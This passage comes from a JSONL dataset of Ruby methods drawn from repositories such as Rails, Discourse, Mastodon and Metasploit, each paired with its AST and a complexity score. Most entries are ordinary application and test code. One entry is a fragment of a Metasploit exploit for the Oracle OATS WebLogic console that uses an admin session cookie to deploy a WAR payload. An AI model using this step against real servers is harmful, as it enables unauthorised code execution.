'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execution_args\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_environment!\"]},{\"type\":\"send\",\"children\":[null,\"perform_global_setup!\"]},{\"type\":\"send\",\"children\":[null,\"create_runtime_log!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParallelTests\"]},\"CLI\"]},\"new\"]},\"run\",{\"type\":\"send\",\"children\":[null,\"execution_args\"]}]}]}]}","id":"3abb7ea3-9427-43ca-914d-228b67e818c1"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/builders/conversation_builder.rb","start_line":10,"raw_source":"def look_up_exising_conversation\n    return unless @contact_inbox.inbox.lock_to_single_conversation?\n\n    @contact_inbox.conversations.last\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"look_up_exising_conversation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact_inbox\"]},\"inbox\"]},\"lock_to_single_conversation?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact_inbox\"]},\"conversations\"]},\"last\"]}]}]}","id":"9db32faf-3511-4450-9b07-07d634e4c230"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/batches_test.rb","start_line":651,"raw_source":"def test_in_batches_executes_range_queries_when_constrained_and_opted_in_into_ranges\n    quoted_posts_id = Regexp.escape(quote_table_name(\"posts.id\"))\n\n    relations = assert_queries_match(/ORDER BY #{quoted_posts_id} ASC LIMIT \\S+ OFFSET \\S+\\z/i, count: 3) do\n      assert_queries_match(/ORDER BY #{quoted_posts_id} ASC LIMIT \\S+\\z/i, count: 1) do\n        Post.where(\"id < ?\", 5).in_batches(of: 2, use_ranges: true).to_a\n      end\n    end\n\n    assert_queries_match(/#{quoted_posts_id} > .+ AND #{quoted_posts_id} <= .+/i) do\n      relations.each { |relation| assert_kind_of Post, relation.first }\n    end\n  end","complexity_score":20.88,"ast_json":"{\"type\":\"def\",\"children\":[\"test_in_batches_executes_range_queries_when_constrained_and_opted_in_into_ranges\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"quoted_posts_id\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"str\",\"children\":[\"posts.id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"relations\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ORDER BY \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_posts_id\"]}]},{\"type\":\"str\",\"children\":[\" ASC LIMIT \\\\S+ OFFSET \\\\S+\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ORDER BY \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_posts_id\"]}]},{\"type\":\"str\",\"children\":[\" ASC LIMIT \\\\S+\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"str\",\"children\":[\"id < ?\"]},{\"type\":\"int\",\"children\":[5]}]},\"in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_ranges\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"to_a\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_posts_id\"]}]},{\"type\":\"str\",\"children\":[\" > .+ AND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_posts_id\"]}]},{\"type\":\"str\",\"children\":[\" <= .+\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relations\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Post\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"first\"]}]}]}]}]}]}","id":"d82f4749-f1d7-4774-bc50-7ba63706a7a3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/oats_weblogic_console.rb","start_line":236,"raw_source":"def do_app_select_action\n    action = '/com/bea/console/actions/app/install/appSelected'\n    war_name = war_payload.name\n    app_path = Rex::FileUtils.normalize_win_path(default_oats_path, \"oats\\\\servers\\\\AdminServer\\\\upload\\\\#{war_name}.war\")\n\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),\n      'cookie' => \"ADMINCONSOLESESSION=#{login_spec.admin_console_session}\",\n      'vars_get' =>\n        {\n          'AppApplicationInstallPortlet_actionOverride' => action\n        },\n      'vars_post' =>\n        {\n          'AppApplicationInstallPortletselectedAppPath' => app_path,\n          'AppApplicationInstallPortletfrsc' => frsc\n        }\n    })\n\n    fail_with(Failure::Unknown, \"No response from #{action}\") unless res\n    print_response_message(res)\n  end","complexity_score":20.5,"ast_json":"{\"type\":\"def\",\"children\":[\"do_app_select_action\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"action\",{\"type\":\"str\",\"children\":[\"/com/bea/console/actions/app/install/appSelected\"]}]},{\"type\":\"lvasgn\",\"children\":[\"war_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"war_payload\"]},\"name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"app_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"FileUtils\"]},\"normalize_win_path\",{\"type\":\"send\",\"children\":[null,\"default_oats_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"oats\\\\servers\\\\AdminServer\\\\upload\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"war_name\"]}]},{\"type\":\"str\",\"children\":[\".war\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"console\"]},{\"type\":\"str\",\"children\":[\"console.portal\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ADMINCONSOLESESSION=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"login_spec\"]},\"admin_console_session\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AppApplicationInstallPortlet_actionOverride\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AppApplicationInstallPortletselectedAppPath\"]},{\"type\":\"lvar\",\"children\":[\"app_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AppApplicationInstallPortletfrsc\"]},{\"type\":\"send\",\"children\":[null,\"frsc\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No response from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_response_message\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}","id":"015f1ee0-1621-4a32-b0ea-deacc00347b8"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/anthropic_message_processor.rb","start_line":58,"raw_source":"def to_tool_calls\n    @tool_calls.map { |tool_call| tool_call.to_tool_call }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"to_tool_calls\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tool_calls\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tool_call\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_call\"]},\"to_tool_call\"]}]}]}","id":"cb53ea38-46b5-47f7-9b71-169f9bfa90bc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb","start_line":127,"raw_source":"def cancel_any_running_query\n            return if @raw_connection.nil? || IDLE_TRANSACTION_STATUSES.include?(@raw_connection.transaction_status)\n\n            # Skip @raw_connection.cancel (PG::Connection#cancel) when using libpq >= 18 with pg < 1.6.0,\n            # because the pg gem cannot obtain the backend_key in that case.\n            # This method is only called from exec_rollback_db_transaction and exec_restart_db_transaction.\n            # Even without cancel, rollback will still run. However, since any running\n            # query must finish first, the rollback may take longer.\n            if !(PG.library_version >= 18_00_00 && Gem::Version.new(PG::VERSION) < Gem::Version.new(\"1.6.0\"))\n              @raw_connection.cancel\n            end\n            @raw_connection.block\n          rescue PG::Error\n          end","complexity_score":22.33,"ast_json":"{\"type\":\"def\",\"children\":[\"cancel_any_running_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_connection\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IDLE_TRANSACTION_STATUSES\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_connection\"]},\"transaction_status\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"library_version\"]},\">=\",{\"type\":\"int\",\"children\":[180000]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"VERSION\"]}]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"1.6.0\"]}]}]}]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_connection\"]},\"cancel\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_connection\"]},\"block\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"Error\"]}]},null,null]},null]}]}","id":"d1658192-b3b1-40c3-9c6f-d32fa559f0c8"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/haml-spec/ugly_test.rb","start_line":246,"raw_source":"def test_an_implicit_div_with_a_CSS_id\n      haml    = %q{#id1}\n      html    = %q{<div id='id1'></div>}\n      locals  = {}\n      options = {}\n      haml_result = UglyTest.haml_result(haml, options, locals)\n      assert_equal html, haml_result\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_an_implicit_div_with_a_CSS_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"haml\",{\"type\":\"str\",\"children\":[\"#id1\"]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"str\",\"children\":[\"<div id='id1'></div>\"]}]},{\"type\":\"lvasgn\",\"children\":[\"locals\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"haml_result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UglyTest\"]},\"haml_result\",{\"type\":\"lvar\",\"children\":[\"haml\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"locals\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"html\"]},{\"type\":\"lvar\",\"children\":[\"haml_result\"]}]}]}]}","id":"d3da4d38-35c3-4e65-8d5e-9a5355f7b3d0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/appscan_document.rb","start_line":289,"raw_source":"def check_for_existing_service(address,port)\n      # only one result can be returned, as the +port+ field restricts potential results to a single service\n      db.services(:workspace => @args[:workspace],\n                  :hosts => {address: address},\n                  :proto => 'tcp',\n                  :port => port).first\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check_for_existing_service\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"address\"]},{\"type\":\"arg\",\"children\":[\"port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db\"]},\"services\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"workspace\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hosts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"address\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]},\"first\"]}]}","id":"6893f84e-89c4-48ed-8656-d07d08cd08e2"}
{"repo_name":"discourse","file_path":"./repos/discourse/config/initializers/200-first_middlewares.rb","start_line":29,"raw_source":"def call(env)\n      return @app.call(env) if !Rails.configuration.multisite\n      super(env)\n    end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"multisite\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},null]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]}","id":"305679cc-8408-4cde-b2d2-6c86696b2824"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/users/import_data/visits.rb","start_line":9,"raw_source":"def call\n    return 0 unless visits_data.is_a?(Array)\n\n    Rails.logger.info \"Importing #{visits_data.size} visits for user: #{user.email}\"\n\n    visits_created = 0\n\n    visits_data.each do |visit_data|\n      next unless visit_data.is_a?(Hash)\n\n      existing_visit = find_existing_visit(visit_data)\n\n      if existing_visit\n        Rails.logger.debug \"Visit already exists: #{visit_data['name']}\"\n        next\n      end\n\n      begin\n        visit_record = create_visit_record(visit_data)\n        visits_created += 1\n        Rails.logger.debug \"Created visit: #{visit_record.name}\"\n      rescue ActiveRecord::RecordInvalid => e\n        Rails.logger.error \"Failed to create visit: #{visit_data.inspect}, error: #{e.message}\"\n        ExceptionReporter.call(e, 'Failed to create visit during import')\n        next\n      rescue StandardError => e\n        Rails.logger.error \"Unexpected error creating visit: #{visit_data.inspect}, error: #{e.message}\"\n        ExceptionReporter.call(e, 'Unexpected error during visit import')\n        next\n      end\n    end\n\n    Rails.logger.info \"Visits import completed. Created: #{visits_created}\"\n    visits_created\n  end","complexity_score":56.2,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visits_data\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Importing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visits_data\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\" visits for user: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"email\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"visits_created\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visits_data\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"visit_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visit_data\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_visit\",{\"type\":\"send\",\"children\":[null,\"find_existing_visit\",{\"type\":\"lvar\",\"children\":[\"visit_data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_visit\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Visit already exists: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visit_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"visit_record\",{\"type\":\"send\",\"children\":[null,\"create_visit_record\",{\"type\":\"lvar\",\"children\":[\"visit_data\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"visits_created\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Created visit: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visit_record\"]},\"name\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordInvalid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to create visit: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visit_data\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\", error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExceptionReporter\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"str\",\"children\":[\"Failed to create visit during import\"]}]},{\"type\":\"next\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unexpected error creating visit: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visit_data\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\", error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExceptionReporter\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"str\",\"children\":[\"Unexpected error during visit import\"]}]},{\"type\":\"next\",\"children\":[]}]}]},null]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Visits import completed. Created: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visits_created\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"visits_created\"]}]}]}","id":"4263b798-0a89-4740-951c-e399fc355ca9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/scheme.rb","start_line":90,"raw_source":"def key_provider_from_key\n          @key_provider_from_key ||= if @key.present?\n            DerivedSecretKeyProvider.new(@key)\n          end\n        end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"key_provider_from_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@key_provider_from_key\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@key\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DerivedSecretKeyProvider\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@key\"]}]},null]}]}]}","id":"daa1cfb9-1af4-43f2-9ecc-86c881c7dcea"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/activitypub/fetch_remote_status_service.rb","start_line":67,"raw_source":"def account_from_uri(uri)\n    actor = ActivityPub::TagManager.instance.uri_to_resource(uri, Account)\n    actor = ActivityPub::FetchRemoteAccountService.new.call(uri, request_id: @request_id) if actor.nil? || actor.possibly_stale?\n    actor\n  end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"account_from_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"actor\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_to_resource\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"const\",\"children\":[null,\"Account\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actor\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actor\"]},\"possibly_stale?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"actor\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"FetchRemoteAccountService\"]},\"new\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"request_id\"]},{\"type\":\"ivar\",\"children\":[\"@request_id\"]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"actor\"]}]}]}","id":"476743af-72b3-4e96-80a6-395f6a4db258"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/serializers/chat/basic_user_serializer.rb","start_line":7,"raw_source":"def can_chat\n      SiteSetting.chat_enabled && scope&.can_chat?\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"can_chat\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"chat_enabled\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"can_chat?\"]}]}]}","id":"957ee242-5c29-44fa-8505-5039ed4597e1"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/github_integration/app/controllers/deploy_targets_controller.rb","start_line":44,"raw_source":"def create\n    args = params\n      .permit(\"deploy_target\" => [\"host\", \"type\", \"api_key\"])[:deploy_target]\n      .to_h\n      .merge(type: \"OpenProject\")\n\n    @deploy_target = DeployTarget.create **args\n\n    if @deploy_target.persisted?\n      flash[:success] = I18n.t(:notice_deploy_target_created)\n\n      redirect_to deploy_targets_path\n    else\n      render \"new\"\n    end\n  